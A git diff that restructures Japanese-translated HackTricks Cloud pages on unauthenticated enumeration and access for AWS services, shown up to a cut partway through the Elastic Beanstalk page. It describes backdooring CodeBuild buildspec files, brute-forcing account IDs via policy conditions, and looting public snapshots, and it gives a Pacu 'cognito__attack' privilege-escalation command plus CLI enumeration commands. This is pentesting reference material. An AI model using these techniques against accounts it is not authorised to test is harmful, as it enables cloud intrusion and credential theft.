+### 公開の API Gateway URL からアカウント ID を取得
+
+S3 buckets、Data Exchange、Lambda URLs gateways と同様に、公開の API Gateway URL から **`aws:ResourceAccount`** の **Policy Condition Key** を悪用してアカウント ID を特定することが可能です。\
+これはポリシーの **`aws:ResourceAccount`** セクションでワイルドカードを悪用し、アカウント ID を1文字ずつ特定することで行われます。\
+この手法では、タグキーが分かっている場合に **タグの値** を取得することも可能です（デフォルトで興味深いタグがいくつかあります）。
+
+詳細は [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) と、自動化用ツール [**conditional-love**](https://github.com/plerionhq/conditional-love/) を参照してください。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
similarity index 51%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
index 68f568e9f..202a78f2d 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
@@ -1,9 +1,9 @@
 # AWS - Cloudfront Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### 公開URLテンプレート
 ```
 https://{random_id}.cloudfront.net
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
deleted file mode 100644
index 76fa18243..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# AWS - CodeBuild 無認証アクセス
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CodeBuild
-
-詳細については、このページを確認してください：
-
-{{#ref}}
-../aws-services/aws-codebuild-enum.md
-{{#endref}}
-
-### buildspec.yml
-
-**`buildspec.yml`** という名前のファイルを含むリポジトリに対する書き込みアクセスを侵害した場合、このファイルを**バックドア**することができ、これはCodeBuildプロジェクト内で実行される**コマンドを指定**し、秘密情報を抽出し、実行される内容を妨害し、さらに**CodeBuild IAMロールの資格情報**を侵害することになります。
-
-**`buildspec.yml`** ファイルが存在しなくても、Codebuildが使用されていることを知っている場合（または別のCI/CDが使用されている場合）、実行される**正当なコードを変更する**ことで、例えばリバースシェルを取得することも可能です。
-
-関連情報については、Github Actionsを攻撃する方法に関するページを確認できます（これに似ています）：
-
-{{#ref}}
-../../../pentesting-ci-cd/github-security/abusing-github-actions/
-{{#endref}}
-
-## AWS CodeBuildにおける自己ホスト型GitHub Actionsランナー <a href="#action-runner" id="action-runner"></a>
-
-[**ドキュメントに示されているように**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html)、**CodeBuild**を構成して、設定されたGithubリポジトリ内でワークフローがトリガーされたときに**自己ホスト型Githubアクション**を実行することが可能です。これは、**`Event type`**が**`WORKFLOW_JOB_QUEUED`**を含む必要があるため、CodeBuildプロジェクトの設定を確認することで検出できます。また、Githubワークフロー内では、次のように**自己ホスト型**ランナーが選択されます：
-```bash
-runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
-```
-このGithub ActionsとAWSの新しい関係は、GithubのコードがIAMロールが付与されたCodeBuildプロジェクトで実行されるため、GithubからAWSを侵害する別の方法を作ります。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
new file mode 100644
index 000000000..2374abc5b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
@@ -0,0 +1,33 @@
+# AWS - CodeBuild 未認証アクセス
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CodeBuild
+
+詳細は次のページを参照してください：
+
+{{#ref}}
+../../aws-services/aws-codebuild-enum.md
+{{#endref}}
+
+### buildspec.yml
+
+リポジトリ内に **`buildspec.yml`** というファイルがあり、そのリポジトリへの書き込み権を奪取できる場合、当該ファイルを**backdoor**することで、CodeBuild プロジェクト内で実行される **実行されるコマンド** を変更し、シークレットを exfiltrate したり、処理自体を侵害したり、**CodeBuild IAM role credentials** を奪取したりできます。
+
+たとえ **`buildspec.yml`** が存在しなくても、Codebuild が使われている（または別の CI/CD）が分かっている場合、実行されるコードを**正規コードの改変**することで、例えば reverse shell を取得できることがあります。
+
+関連情報として、Github Actions を攻撃する方法（本件と類似）についてのページも参照してください：
+
+{{#ref}}
+../../../../pentesting-ci-cd/github-security/abusing-github-actions/
+{{#endref}}
+
+## AWS CodeBuild における self-hosted GitHub Actions ランナー <a href="#action-runner" id="action-runner"></a>
+
+As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
+```bash
+runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
+```
+Github ActionsとAWSのこの新しい関係により、Github上のコードはIAM roleがアタッチされたCodeBuildプロジェクトで実行されるため、GithubからAWSを侵害する別の経路が生まれます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
deleted file mode 100644
index eb29c104c..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Cognito Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Unauthenticated Cognito
-
-Cognitoは、開発者が**アプリユーザーにAWSサービスへのアクセスを付与する**ことを可能にするAWSサービスです。開発者は、アプリ内の**認証されたユーザー**に**IAMロールを付与**し（潜在的に誰でもサインアップできる可能性があります）、**認証されていないユーザー**にも**IAMロールを付与**することができます。
-
-Cognitoに関する基本情報は以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Identity Pool ID
-
-Identity Poolは、**Identity Pool IDを知っているだけの認証されていないユーザー**に**IAMロールを付与**することができ（これは比較的一般的に**見つける**ことができます）、この情報を持つ攻撃者はその**IAMロールにアクセス**し、悪用しようとする可能性があります。\
-さらに、IAMロールは、Identity Poolにアクセスする**認証されたユーザー**にも割り当てられる可能性があります。攻撃者が**ユーザーを登録**できるか、すでにIdentity Poolで使用されている**アイデンティティプロバイダーにアクセス**できる場合、**認証された**ユーザーに付与される**IAMロールにアクセス**し、その特権を悪用することができます。
-
-[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-identity-pools.md)。
-
-### User Pool ID
-
-デフォルトでは、Cognitoは**新しいユーザーを登録**することを許可します。ユーザーを登録できることは、**基盤となるアプリケーション**や、Cognito User Poolをアイデンティティプロバイダーとして受け入れている**Identity Poolの認証されたIAMアクセスロール**への**アクセス**を提供する可能性があります。[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)。
-
-### Pacu modules for pentesting and enumeration
-
-[Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSの悪用フレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、脆弱な構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito__enum」と「cognito__attack」モジュールを含むようになりました。また、ユーザー作成（MFAサポートを含む）や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく特権昇格も自動化します。
-
-モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。
-
-#### Usage
-
-特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるためのサンプル`cognito__attack`の使用法：
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集することです：
-```bash
-Pacu (new:test) > run cognito__enum
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
new file mode 100644
index 000000000..a40be66d5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
@@ -0,0 +1,43 @@
+# AWS - Cognito 未認証列挙
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 未認証の Cognito
+
+Cognito は、開発者が **アプリのユーザーに AWS サービスへのアクセスを付与** できる AWS のサービスです。開発者はアプリ内で **認証済みユーザーに IAM ロールを付与** します（場合によってはユーザーが単にサインアップできることもあります）。また、**未認証ユーザーに IAM ロールを付与** することも可能です。
+
+For basic info about Cognito check:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Identity Pool ID
+
+Identity Pools は、**Identity Pool ID** をただ知っているだけの **未認証ユーザーに IAM ロールを付与** することがあり（Identity Pool ID は比較的見つけやすいことが多い）、攻撃者はこの情報を使って当該 **IAM ロールにアクセス** したり悪用したりする可能性があります。さらに、IAM ロールは Identity Pool にアクセスする **認証済みユーザー** にも割り当てられることがあります。攻撃者が **ユーザーを登録できる**、あるいは既にその Identity Pool で使われている **identity provider へのアクセス** を持っている場合、**認証済みユーザーに与えられる IAM ロール** にアクセスして権限を乱用できる可能性があります。
+
+[**詳しい方法はここを参照してください**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md).
+
+### User Pool ID
+
+デフォルトで Cognito は **新しいユーザーの登録を許可** します。ユーザーを登録できることにより、**基盤となるアプリケーションへのアクセス** や、Cognito User Pool を identity provider として受け入れている Identity Pool の **認証済み IAM アクセスロール** に対するアクセスを得られる可能性があります。 [**詳しい方法はここを参照してください**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
+
+### Pacu modules for pentesting and enumeration
+
+Pacu (https://github.com/RhinoSecurityLabs/pacu)、AWS の攻撃フレームワークは現在 "cognito__enum" と "cognito__attack" モジュールを含んでおり、アカウント内のすべての Cognito アセットの列挙を自動化し、弱い設定、アクセス制御に使われるユーザー属性などを検出します。また、ユーザー作成（MFA サポートを含む）や、変更可能なカスタム属性、利用可能な identity pool の資格情報、id トークンでアサイン可能なロールなどに基づく権限昇格を自動化します。
+
+モジュールの機能の説明は [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) のパート2を参照してください。インストール手順はメインの [Pacu](https://github.com/RhinoSecurityLabs/pacu) ページを参照してください。
+
+#### 使用方法
+
+指定した identity pool と user pool client に対してユーザー作成と全ての privesc ベクトルを試行するサンプル `cognito__attack` の使い方:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+現在の AWS アカウントに表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集するための cognito\_\_enum の使用例:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
deleted file mode 100644
index b867f7230..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - DocumentDB 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### 公開URLテンプレート
-```
-<name>.cluster-<random>.<region>.docdb.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
new file mode 100644
index 000000000..8d04dccf2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - DocumentDB 未認証の列挙
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### 公開 URL テンプレート
+```
+<name>.cluster-<random>.<region>.docdb.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
deleted file mode 100644
index f65a0affc..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# AWS - DynamoDB 認証なしアクセス
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Dynamo DB
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-AWSまたは一部の侵害された外部AWSアカウントへのアクセスを提供すること、またはDynamoDBと通信するアプリケーションにSQLインジェクションがある場合を除いて、DynamoDBからAWSアカウントにアクセスする他のオプションはわかりません。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
new file mode 100644
index 000000000..6b604608c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
@@ -0,0 +1,15 @@
+# AWS - DynamoDB 認証されていないアクセス
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Dynamo DB
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+全てのAWSアクセスを与える場合、あるいは侵害された外部のAWSアカウントへのアクセスを与える場合、またはDynamoDBと通信するアプリケーションにSQL injectionsがある場合を除けば、DynamoDBからAWSアカウントにアクセスする他の方法は私には分かりません。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
deleted file mode 100644
index ce7e84f63..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# AWS - EC2 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2 および関連サービス
-
-このページで詳細情報を確認してください：
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### 公開ポート
-
-**仮想マシンの任意のポートをインターネットに公開する**ことが可能です。公開されたポートで**何が実行されているか**によって、攻撃者がそれを悪用する可能性があります。
-
-#### SSRF
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-### 公開 AMI および EBS スナップショット
-
-AWS は **誰でも AMI とスナップショットをダウンロードするアクセスを提供する**ことを許可しています。これらのリソースは、自分のアカウントから非常に簡単にリストできます：
-```bash
-# Public AMIs
-aws ec2 describe-images --executable-users all
-
-## Search AMI by ownerID
-aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
-
-## Search AMI by substr ("shared" in the example)
-aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
-
-# Public EBS snapshots (hard-drive copies)
-aws ec2 describe-snapshots --restorable-by-user-ids all
-aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
-```
-誰でも復元可能なスナップショットを見つけた場合は、[AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump)を確認して、スナップショットのダウンロードと略奪に関する指示を確認してください。
-
-#### Public URL template
-```bash
-# EC2
-ec2-{ip-seperated}.compute-1.amazonaws.com
-# ELB
-http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
-https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
-```
-### パブリックIPを持つEC2インスタンスの列挙
-```bash
-aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
new file mode 100644
index 000000000..3d943f342
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
@@ -0,0 +1,54 @@
+# AWS - EC2 未認証での列挙
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2 と関連サービス
+
+このページで詳細情報を確認してください:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### 公開ポート
+
+仮想マシンの**任意のポートをインターネットに公開すること**が可能です。公開されたポートで**何が動作しているか**によって、攻撃者がそれを悪用する可能性があります。
+
+#### SSRF
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+### 公開 AMIs & EBS Snapshots
+
+AWSは**誰でもAMIsとSnapshotsをダウンロードできるようにアクセスを付与する**ことを許可しています。これらのリソースは自分のアカウントから非常に簡単に一覧化できます:
+```bash
+# Public AMIs
+aws ec2 describe-images --executable-users all
+
+## Search AMI by ownerID
+aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
+
+## Search AMI by substr ("shared" in the example)
+aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
+
+# Public EBS snapshots (hard-drive copies)
+aws ec2 describe-snapshots --restorable-by-user-ids all
+aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
+```
+スナップショットが誰でも復元できる状態で見つかった場合は、スナップショットのダウンロードと looting に関する手順について、[AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) を必ず確認してください。
+
+#### 公開 URL テンプレート
+```bash
+# EC2
+ec2-{ip-seperated}.compute-1.amazonaws.com
+# ELB
+http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
+https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
+```
+### パブリックIPを持つ EC2 インスタンスを列挙
+```bash
+aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
deleted file mode 100644
index c27ab9f3f..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - ECR 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-詳細については、以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### 公開レジストリリポジトリ（イメージ）
-
-ECS Enum セクションで述べたように、公開レジストリは **誰でもアクセス可能** で、形式は **`public.ecr.aws/<random>/<name>`** です。攻撃者が公開リポジトリのURLを見つけた場合、彼は **イメージをダウンロードし、メタデータやイメージの内容に敏感な情報を探すことができる** 可能性があります。
-```bash
-aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
-```
-> [!WARNING]
-> これは、**プライベートレジストリ**でも発生する可能性があり、レジストリポリシーまたはリポジトリポリシーが**例えば `"AWS": "*"`** にアクセスを許可している場合です。AWSアカウントを持っている誰でも、そのリポジトリにアクセスできます。
-
-### プライベートリポジトリの列挙
-
-ツール [**skopeo**](https://github.com/containers/skopeo) と [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) を使用して、プライベートレジストリ内のアクセス可能なリポジトリをリストすることができます。
-```bash
-# Get image names
-skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
-crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
new file mode 100644
index 000000000..aedf471a1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
@@ -0,0 +1,30 @@
+# AWS - ECR Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### パブリックレジストリのリポジトリ（イメージ）
+
+As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws/<random>/<name>`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image.
+```bash
+aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
+```
+> [!WARNING]
+> これは **プライベートレジストリ** においても、レジストリポリシーやリポジトリポリシーが **例えば `"AWS": "*"` にアクセスを許可している** 場合に発生する可能性があります。誰でもAWSアカウントを持っていればそのrepoにアクセスできる可能性があります。
+    
+### プライベートRepoの列挙
+
+ツール [**skopeo**](https://github.com/containers/skopeo) と [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) を使って、プライベートレジストリ内のアクセス可能なリポジトリを一覧することができます。
+```bash
+# Get image names
+skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
+crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
deleted file mode 100644
index a9652d252..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# AWS - ECS 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### ECS サービスの公開アクセス可能なセキュリティグループまたはロードバランサー
-
-**インターネットからの受信トラフィックを許可する（0.0.0.0/0 または ::/0）** 誤って構成されたセキュリティグループは、AWS リソースを攻撃にさらす可能性があります。
-```bash
-# Example of detecting misconfigured security group for ECS services
-aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
-
-# Example of detecting a publicly accessible load balancer for ECS services
-aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..6dbe43336
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
@@ -0,0 +1,23 @@
+# AWS - ECS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### ECS Services向けの公開アクセス可能な Security Group または Load Balancer
+
+誤設定されたsecurity groupが**インターネット（0.0.0.0/0 または ::/0）からの着信トラフィックを許可する**と、Amazon ECS services上のAWS resourcesが攻撃にさらされる可能性があります。
+```bash
+# Example of detecting misconfigured security group for ECS services
+aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
+
+# Example of detecting a publicly accessible load balancer for ECS services
+aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
deleted file mode 100644
index 37449d9c0..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# AWS - Elastic Beanstalk Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### Web脆弱性
-
-デフォルトでは、Beanstalk環境は**Metadatav1が無効**になっていることに注意してください。
-
-Beanstalkのウェブページの形式は**`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**です。
-
-### 不適切なセキュリティグループルール
-
-誤って構成されたセキュリティグループルールは、Elastic Beanstalkインスタンスを公開する可能性があります。**任意のIPアドレス（0.0.0.0/0）からのトラフィックを許可するような過度に許可されたインバウンドルールは、攻撃者がインスタンスにアクセスできるようにする可能性があります**。
-
-### 公開アクセス可能なロードバランサー
-
-Elastic Beanstalk環境がロードバランサーを使用し、ロードバランサーが公開アクセス可能に構成されている場合、攻撃者は**ロードバランサーに直接リクエストを送信することができます**。これは、公開アクセスを意図したウェブアプリケーションには問題ないかもしれませんが、プライベートアプリケーションや環境には問題となる可能性があります。
-
-### 公開アクセス可能なS3バケット
-
-Elastic Beanstalkアプリケーションは、デプロイ前にS3バケットに保存されることがよくあります。アプリケーションを含むS3バケットが公開アクセス可能な場合、攻撃者は**アプリケーションコードをダウンロードし、脆弱性や機密情報を探すことができます**。
-
-### 公開環境の列挙
-```bash
-aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..f0ad55db1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
@@ -0,0 +1,35 @@
+# AWS - Elastic Beanstalk 未認証の列挙
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+For more information check:
+
+{{#ref}}
